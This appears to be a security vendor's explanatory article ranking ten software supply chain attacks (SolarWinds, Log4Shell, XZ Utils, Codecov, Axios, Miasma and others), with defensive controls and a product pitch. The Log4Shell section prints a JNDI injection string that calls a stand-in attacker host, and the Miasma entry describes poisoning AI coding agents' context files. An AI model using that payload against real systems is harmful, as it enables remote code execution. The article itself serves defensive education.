2026 Edition - Updated June 2026

Top 10 Supply Chain Attacks That Shook the World

One trojanized update. One poisoned package. One trusted maintainer turned threat actor. These ten attacks changed how the software industry thinks about trust, and most of them could have been stopped before a single package was downloaded.

Use this page as a threat model, a board briefing, and a technical reference for software supply chain attack history. It documents what happened, how each attack was caught, why it mattered, and which controls reduce the chance of the same pattern reaching your developers or CI pipeline.

17,947

Organizations hit by a single SolarWinds update

Source: FireEye / Mandiant, 2020

3 billion

Devices exposed by Log4Shell within 72 hours

Source: CISA / Wiz, 2021

100M+

Weekly npm downloads of Axios during account takeover

Source: Sonatype, 2026

2+ years

Time Jia Tan spent infiltrating XZ Utils before striking

Source: Andres Freund disclosure, 2024

Methodology

How we ranked these

These attacks were selected using a composite of breadth of impact, technical sophistication, lasting industry consequence, and historical significance in shifting the security conversation. Where two attacks scored similarly, recency was used as a tiebreaker in favor of the older attack because time has allowed fuller damage assessment.

RankAttackYearVectorBreadth
#1SolarWinds SUNBURST2020Build pipeline injection18,000 orgs
#2Log4Shell CVE-2021-442282021Zero-day RCE in ubiquitous library3B+ devices
#3XZ Utils Backdoor CVE-2024-30942024Multi-year social engineeringNear-universal Linux
#43CX Double Supply Chain2023Supply chain to supply chain600,000 customers
#5Codecov Bash Uploader2021CI/CD tool compromise23,000+ customers
#6event-stream npm2018Maintainer succession8M weekly downloads
#7Polyfill.io CDN Hijack2024CDN domain acquisition110,000+ websites
#8Axios ATO2026npm account takeover100M+ weekly downloads
#9Shai-Hulud Worm2025Self-replicating worm800+ packages, 25K repos
#10Miasma2026OIDC / Trusted Publishing abuse73 Azure repos, 80K DL/wk
#1
Build PipelineWindows / Enterprise IT2020

#1 - SolarWinds SUNBURST

The attack that proved a trusted software update is an attack vector

In 2020, the U.S. government, NATO, Microsoft, Cisco, FireEye, and 18,000 other organizations unknowingly installed a backdoor distributed as a routine, digitally signed software update from SolarWinds. The attackers had been inside SolarWinds build systems for over a year before the first trojanized update shipped.

Actor
APT29 / SVR, tracked as UNC2452 by Mandiant
Vector
Build pipeline injection into SolarWinds.Orion.Core.BusinessLayer.dll
Timeline
Initial compromise around October 2019; malicious update active March-June 2020; discovered December 2020
Active undetected
At least 9 months
Packages/software
Orion Platform
CVE
None - SUNBURST is tracked as a named malware campaign

Technical detail

The attackers modified the CI build process so malicious code was compiled into the DLL and signed with SolarWinds legitimate certificate. SUNBURST included a 12-14 day dormancy period, DGA-based DNS calls to avsvmcloud[.]com, and checks that reduced exposure in security research environments. High-value victims received second-stage payloads enabling lateral movement, SAML token forgery against Azure AD, and data exfiltration through traffic that looked like Orion telemetry.

Impact

  • 18,000 organizations downloaded the trojanized update
  • Around 100 organizations were selected for follow-on operations
  • Confirmed victims included U.S. federal agencies, NATO, the European Parliament, Microsoft, Intel, Cisco, and FireEye
  • Remediation costs exceeded $100 million across affected entities

Aftermath

  • Executive Order 14028 mandated SBOMs, zero-trust architecture, and enhanced logging for federal software
  • The SEC action against SolarWinds leadership made cybersecurity disclosure a board-level liability issue
  • The industry permanently changed its model: trusted update channels are attack surfaces
#2
Zero-Day RCEJava / Apache2021CVE-2021-44228CVE-2021-45046CVE-2021-45105CVE-2021-44832

#2 - Log4Shell

The sleeping giant in three billion devices

A Java logging library embedded in billions of deployments had a remote code execution flaw simple enough to trigger from a Minecraft chat message. CISA Director Jen Easterly called Log4Shell the most serious vulnerability she had seen in her decades-long career.

Actor
Exploited by state actors, ransomware groups, and opportunistic attackers within hours
Vector
Zero-day RCE via JNDI injection in Apache Log4j 2.x CVE-2021-44228
Timeline
Disclosed to Apache November 24, 2021; public proof of concept December 9, 2021; mass exploitation within 72 hours
Library
log4j-core
CVSS
10.0

Technical detail

Log4j 2.x supported JNDI lookups, so a string like ${jndi:ldap://attacker.com/exploit} in a log message could make the JVM fetch and load attacker-controlled code. Because Log4j logged headers, usernames, form fields, and API parameters, almost any untrusted input field in a Java application became a potential code execution path.

Impact

  • 93% of enterprise cloud environments contained the vulnerability
  • 3 billion devices were potentially exposed
  • 4.3 million exploitation attempts came from 800,000+ unique IPs within 11 days
  • Global remediation cost has been estimated at $10 billion+

Aftermath

  • Apache patched through four iterations over six weeks
  • The EU Cyber Resilience Act was directly motivated by Log4Shell
  • Transitive dependency blindness became a systemic enterprise risk topic
#3
Social EngineeringBuild SystemLinux / C2024CVE-2024-3094

#3 - XZ Utils Backdoor

Two years of fake commits. One hidden backdoor. Hours from universal SSH compromise.

A patient threat actor spent nearly two years building a fake open-source identity, earning trust, and gaining release influence over a compression library present in almost every Linux distribution. The backdoor was caught because one engineer noticed SSH logins were about 500 milliseconds slower than usual.

Actor
Unknown, likely state-sponsored
Persona
Jia Tan
Vector
Multi-year social engineering to maintainer access to build system backdoor
Timeline
Persona established January 2022; malicious releases February 2024; discovered March 29, 2024
Library
xz-utils / liblzma
CVE
CVE-2024-3094

Technical detail

The malicious code was hidden in source release tarballs, not in the public Git repository. A build script extracted payload from a binary test file and injected it into liblzma. On systemd-based distributions where liblzma loaded into sshd, the backdoor hooked authentication paths and checked incoming connections for an attacker-controlled Ed448 signature.

Impact

  • Potential impact was silent root access to vulnerable SSH servers worldwide
  • Actual impact was limited to rolling and beta distribution channels before discovery
  • The malicious releases were hours from reaching stable Debian and Ubuntu paths

Aftermath

  • Affected distributions reverted to XZ 5.4.x
  • OpenSSF initiatives accelerated support for critical maintainers
  • Multi-year maintainer social engineering became a confirmed nation-state supply chain technique
#4
Double Supply ChainWindows / macOS2023CVE-2023-29059CVE-2023-29060CVE-2023-29061CVE-2023-29062

#4 - 3CX: The First Double Supply Chain Attack

One attack fed by another attack. The supply chain has a supply chain.

North Korean operators shipped trojanized 3CX desktop applications to enterprise customers. The entry point was a compromised installer from a different company, proving that vendor compromise can itself be downstream of another supply chain compromise.

Actor
Lazarus Group / UNC4736
Vector
Compromised Trading Technologies installer to 3CX employee PC to 3CX build environment
Timeline
Build environment compromised in late 2022; malicious app distributed March 2023
Customers
600,000 customers and 12 million users

Technical detail

A 3CX employee installed a trojanized X_TRADER package, which dropped VEILEDSIGNAL. Attackers used harvested access to reach 3CX build systems and replace application components, including ffmpeg.dll, with malicious loaders. The compromised Windows and macOS apps were signed with legitimate 3CX certificates.

Impact

  • 600,000 3CX customers and 12 million users were in the blast radius
  • Hundreds of organizations were selected for follow-on activity
  • The campaign primarily targeted cryptocurrency firms and trading platforms

Aftermath

  • 3CX urged immediate uninstall of desktop clients and issued clean versions
  • Security teams began modeling nth-order supply chain risk
  • CISA issued a joint advisory attributing UNC4736 to Lazarus Group
#5
CI/CD Tool Compromise2021

#5 - Codecov: 62 Days of Silent CI Exfiltration

Every secret in your CI pipeline, silently sent to an attacker for two months

For 62 days, a single line of bash code in a widely used CI tool collected tokens, API keys, signing keys, credentials, repository URLs, and environment variables from thousands of development pipelines.

Actor
Unknown
Vector
Docker image credential leak to GCS bucket write access to modified CI script
Timeline
January 31-April 1, 2021
Exposure
23,000 Codecov customers

Technical detail

A Google Cloud Storage credential was embedded in an intermediate layer of Codecov public Docker image. The attacker extracted it and modified the Bash Uploader served from https://codecov.io/bash. The injected command exfiltrated git remote -v and env, which meant repository URLs and all injected CI secrets left the build environment.

Impact

  • 23,000 Codecov customers were exposed
  • Twilio, HashiCorp, Rapid7, Confluent, Twitch, and GoDaddy reported impact
  • HashiCorp had to revoke and replace a GPG signing key used for releases

Aftermath

  • Codecov rebuilt uploader integrity architecture
  • The incident accelerated adoption of in-toto attestations, SLSA, and artifact signing
  • The case became a standard argument for HSM-backed signing keys and script integrity checks
#6
Maintainer Successionnpm2018

#6 - event-stream: The First Targeted npm Supply Chain Attack

A payload that only fired if you had 100 Bitcoin. For everyone else: invisible.

An attacker took over a burned-out npm maintainer package, added a malicious dependency, and designed a payload encrypted so it only activated inside the intended Bitcoin wallet target.

Actor
Unknown, GitHub username right9ctrl
Target
Copay Bitcoin wallet users with high balances
Vector
Maintainer succession to malicious dependency flatmap-stream
Package
event-stream, around 8 million weekly downloads

Technical detail

The new maintainer added [email protected]. Inside it was an obfuscated encrypted payload. The decryption key was derived from the requiring package description field, so the malware only decrypted inside Copay, whose package description matched the key material.

Impact

  • Around 8 million weekly downloads during the malicious window
  • Payload was inert for every user except the intended Copay target
  • Copay users above the balance threshold risked private key and seed exfiltration

Aftermath

  • npm yanked malicious versions
  • The attack established environment-keyed targeted payloads as a major supply chain technique
  • Maintainer handoff and publish rights became explicit risk signals
#7
CDN Domain AcquisitionJavaScript / CDN2024

#7 - Polyfill.io: 110,000 Websites, One Domain Sale

The original creator warned everyone. Nobody moved the script tag.

After the polyfill.io domain changed hands, more than 110,000 websites continued loading JavaScript from it. Within months, mobile visitors were receiving malicious JavaScript redirects while website source code remained unchanged.

Actor
Funnull
Vector
CDN domain acquisition to malicious delivery-layer injection
Timeline
Domain acquired February 2024; malicious injection discovered June 25, 2024
Sites affected
110,000+ websites

Technical detail

cdn.polyfill.io dynamically returned JavaScript based on request headers. The malicious service targeted mobile user agents, avoided obvious analytics and bot contexts, and used a lookalike Google Analytics domain as command and redirect infrastructure. Because the attack happened at delivery time, application source code did not need to change.

Impact

  • 110,000+ websites embedded scripts from cdn.polyfill.io
  • Millions of daily mobile users were exposed to redirects
  • Cloudflare rewrote requests to a clean mirror and Namecheap suspended the domain

Aftermath

  • The industry recommendation shifted toward self-hosting or verified packages for scripts
  • Subresource Integrity adoption became a practical browser-level control for CDN risk
  • Cloudflare and Fastly launched clean replacement services
#8
Account Takeovernpm2026

#8 - Axios: 100 Million Downloads, One Stolen Token

The most-depended-upon package on npm. Backdoored for two hours. By North Korea.

Attackers used a stolen npm access token to publish backdoored Axios versions that added a hidden dependency. The Axios source looked unchanged, but the new dependency ran a postinstall dropper during package installation.

Actor
UNC1069 / Lazarus Group, attributed by Google GTIG
Vector
Stolen npm token to phantom dependency to postinstall RAT dropper
Downloads
100M+ weekly downloads

Technical detail

The attacker pre-staged [email protected], then added it as an Axios dependency. Its postinstall hook ran an obfuscated dropper that detected operating system, fetched a platform-specific second stage, executed it, and then replaced its own files with clean decoys.

Impact

  • Any developer or CI job running npm install axios during the two-hour window was exposed
  • Given Axios download velocity, tens of thousands of CI builds may have pulled the package
  • The likely objective was cryptocurrency theft from developer and CI environments

Aftermath

  • npm revoked compromised credentials
  • Pressure increased to eliminate long-lived classic access tokens for high-impact packages
  • Registry publish monitoring became a must-have control for mature packages
#9
Self-Replicating Wormnpm2025

#9 - Shai-Hulud: The First npm Worm

A supply chain attack that used its victims to attack more victims.

Shai-Hulud harvested npm tokens, GitHub secrets, and cloud credentials, then used victims to publish new malicious versions of any packages they controlled. The worm transformed package consumers into propagation infrastructure.

Actor
Unknown; copycat variant associated with TeamPCP
Vector
Compromised npm credentials and GitHub Actions abuse to self-replicating worm
Timeline
First wave September 2025; second wave November 2025
Scope
600-800 packages and 25,000+ GitHub repositories in the second wave

Technical detail

The worm harvested npm tokens, GitHub secrets, cloud credentials, SSH keys, browser session tokens, and CI/CD secrets. It used harvested npm tokens to publish trojanized versions of accessible packages, modified GitHub Actions workflows for broader permissions, and in the second wave installed Bun, used TruffleHog for secret scanning, registered GitHub Actions runners named SHA1HULUD, and could shred home directories if propagation failed.

Impact

  • First wave affected roughly 500+ packages
  • Second wave affected 600-800 packages and 25,000+ GitHub repositories
  • Victims included packages and repositories connected to Zapier, ENS Domains, PostHog, Postman, and AsyncAPI

Aftermath

  • npm introduced worm containment logic for anomalous rapid version publishing
  • CISA guidance on GitHub Actions hardening accelerated
  • Open-sourcing of Mini Shai-Hulud lowered the barrier for copycat attacks
#10
OIDC AbuseAI Agent Targetingnpm / GitHub2026

#10 - Miasma: When SLSA Provenance Becomes the Lie

Forged trust certificates. Verified malware. AI coding agents as a new attack surface.

Attackers compromised a personal GitHub account with organizational access, pushed malicious workflow changes, and published backdoored packages through OIDC Trusted Publishing. The malicious packages carried valid provenance because the build system really did produce them.

Actor
Unknown; payload derived from Mini Shai-Hulud
Vector
Personal GitHub account compromise to OIDC Trusted Publishing abuse to self-propagating worm
Timeline
Red Hat wave June 1, 2026; Microsoft Azure wave June 5, 2026
Packages
32+ Red Hat packages, 90+ malicious versions, around 80,000-117,000 weekly downloads

Technical detail

The attacker pushed orphan commits and a minimal GitHub Actions workflow that requested an OIDC token and published to npm through Trusted Publishing. That produced valid SLSA provenance on malicious releases. The payload harvested GitHub, npm, AWS, Azure, GCP, Kubernetes, Vault, SSH, browser wallet, and CI secrets. A later wave planted files such as .cursorrules, CLAUDE.md, and .gemini/context.md to target AI coding agents.

Impact

  • Red Hat: 32 packages, 90+ malicious versions, around 80,000-117,000 weekly downloads
  • Microsoft Azure: 73 repositories disabled across Azure, Azure-Samples, microsoft, and MicrosoftDocs organizations
  • First documented attack specifically targeting AI coding assistant trust models

Aftermath

  • SLSA discussions shifted toward account legitimacy, branch protection, and org-level OIDC controls
  • Organizations began reassessing personal GitHub accounts with repository permissions
  • AI coding agent context files became a supply chain security concern

Honorable Mentions

Just off the list

Four attacks that did not make the top 10 but shaped how the industry understands supply chain risk.

ua-parser-js npm ATO

npm2021

The ua-parser-js library was compromised for around four hours and dropped a Monero miner and password stealer on Windows and Linux. CVEs: CVE-2021-4229 / CVE-2021-27292.

Source

node-ipc / peacenotwar Protestware

npm2022

A maintainer injected destructive protestware into node-ipc, used by Vue CLI. The incident proved maintainers themselves can become threat actors. CVE: CVE-2022-23812.

Source

Colors.js / Faker.js Sabotage

npm2022

Maintainer sabotage in colors and faker broke thousands of applications overnight and became the canonical open-source sustainability crisis.

Source

PyTorch Nightly Dependency Confusion

PyPI2022

A malicious torchtriton package on PyPI took precedence over PyTorch private package infrastructure and exfiltrated sensitive files through encrypted DNS queries.

Source

Timeline

A decade of escalation

Supply chain attacks have not simply increased in volume. They have evolved in sophistication, patience, target selection, and category. Each era introduced a technique that the prior era defenses were not built to catch.

12018
Maintainer succession
event-stream - targeted payload encrypted for one victim
22019-2020
Build pipeline injection
SolarWinds SUNBURST - signed update, 9 months undetected
32021
Account takeover and CI compromise
ua-parser-js ATO; Codecov 62-day CI exfiltration
42022
Dependency confusion and sabotage
PyTorch nightly; node-ipc protestware
52023
Double supply chain
3CX / Lazarus - first confirmed nth-order chain attack
62024
CDN hijack and social engineering
Polyfill.io; XZ Utils backdoor
72025
Self-replicating registry worm
Shai-Hulud - victims became propagation nodes
82026
Provenance abuse and AI agent targeting
Miasma - valid attestations on malicious packages

"Each attack class on this list was unmodelable by defenders working from the prior year's threat landscape. The pattern is not escalation - it is category expansion."

Patterns

Seven failure modes that made these possible

Across ten different attack vectors, spanning eight years, these incidents share a short list of root causes. Fix these failure modes and you make most supply chain attacks significantly harder to execute.

  1. 1

    No 2FA on package registry accounts

    Directly enabled account takeover campaigns. Registry account security is supply chain security.

  2. 2

    No integrity checking of fetched scripts

    Codecov ran for 62 days because teams executed a remote script without verifying the hash.

  3. 3

    Trust in long-term contributors without verification

    Jia Tan and event-stream proved that maintainer trust and handoff processes are attack surfaces.

  4. 4

    Transitive dependency blindness

    Log4Shell and Axios both arrived through dependencies many teams did not know they were running.

  5. 5

    CDN and third-party script trust

    Polyfill.io changed no source code. The malicious content came from a script tag.

  6. 6

    Personal GitHub accounts with organizational permissions

    Miasma began with a personal account that had organizational access.

  7. 7

    No canary monitoring of package publish events

    Every npm attack here had a short window between malicious publish and removal.

Protection

What these attacks tell you to do

This is not a checklist of abstract best practices. Every item below maps directly to a failure mode in one or more attacks on this page.

  1. 1

    Proxy all package downloads

    A dependency proxy is the control that operates before packages reach developer machines or CI. If it is not proxied, it is uncontrolled.

  2. 2

    Enforce 2FA and Trusted Publishing for package accounts

    Eliminate long-lived classic access tokens. OIDC helps, but Miasma proves account legitimacy still matters.

  3. 3

    Verify externally fetched scripts

    Version-pin and hash-verify build-time scripts. Use Subresource Integrity for CDN-loaded assets.

  4. 4

    Monitor package publish events in real time

    Watch for new dependencies added to mature packages, unusual install hooks, and version anomalies.

  5. 5

    Audit transitive dependencies

    Your real dependency graph includes every package your dependencies pull. Direct dependencies are only the visible edge.

  6. 6

    Apply age-based risk policy

    New package versions carry disproportionate risk during the first hours and days after publication.

  7. 7

    Enforce private package scoping at the network layer

    Dependency confusion is a resolution problem. Enforce private registry priority in the proxy path.

  8. 8

    Use managed enterprise accounts

    Organizational repositories should be protected by SSO, MFA, device posture, and activity monitoring.

  9. 9

    Generate a real-time SBOM from observed downloads

    An SBOM based on observed package flow is stronger than a lock-file snapshot.

Why post-download scanners miss the attack window

ControlPost-download scannersShieldedStack dependency firewall
Local developer installsX Not coveredYES Intercepted at download
CI restore jobsX Not coveredYES Intercepted at download
postinstallX Already happenedYES Package never delivered
Novel malwareX No CVE signal yetYES Age and behavior policy can block
Dependency confusionX Requires fragile client configYES Enforced at network level
SBOM sourceX Lock file inferenceYES Observed actual downloads

62 days. 2 hours. 9 months. Those are detection windows for three attacks on this page.

ShieldedStack operates at the only moment that matters: before the package lands. It proxies npm, PyPI, NuGet, Maven, Go, Cargo, and RubyGems, blocks vulnerable packages before install, generates real-time SBOMs, enforces age-based risk policy, and preserves audit trails.

Talk to usExplore the Dependency Explorer

Already running Dependabot or Snyk? Those tools operate after the package arrives. See how ShieldedStack compares to Snyk, compare it with Dependabot, or review the dependency firewall features.

Sources

Methodology and sources

This page documents real attacks using primary sources: official postmortems, security vendor technical analyses, government advisories, and cybersecurity journalism. Statistics are attributed inline. Discovery stories are drawn from primary disclosures and technical analyses.

For a broader view of malicious package volume, ecosystem trends, breach costs, and regulatory impact, see the State of the Software Supply Chain 2026.

  1. FireEye / Mandiant disclosure
  2. Rapid7 analysis
  3. NVD CVE-2021-44228
  4. Red Hat analysis
  5. IBM explainer
  6. Akamai deep dive
  7. Wiz analysis
  8. Microsoft FAQ
  9. Mandiant / Google Cloud
  10. Krebs on Security
  11. ESET analysis
  12. Codecov post-mortem
  13. GitGuardian analysis
  14. Unit 42 threat brief
  15. Snyk post-mortem
  16. npm incident details
  17. Academic analysis
  18. Sansec discovery
  19. FOSSA breakdown
  20. Checkmarx alert
  21. Elastic Security Labs
  22. WorkOS timeline
  23. Trend Micro analysis
  24. Checkmarx Zero
  25. CyberArk analysis
  26. Invicti on Shai-Hulud 2.0
  27. Microsoft Security Blog
  28. Wiz Research
  29. StepSecurity Azure wave
  30. ua-parser-js npm ATO
  31. node-ipc / peacenotwar Protestware
  32. Colors.js / Faker.js Sabotage
  33. PyTorch Nightly Dependency Confusion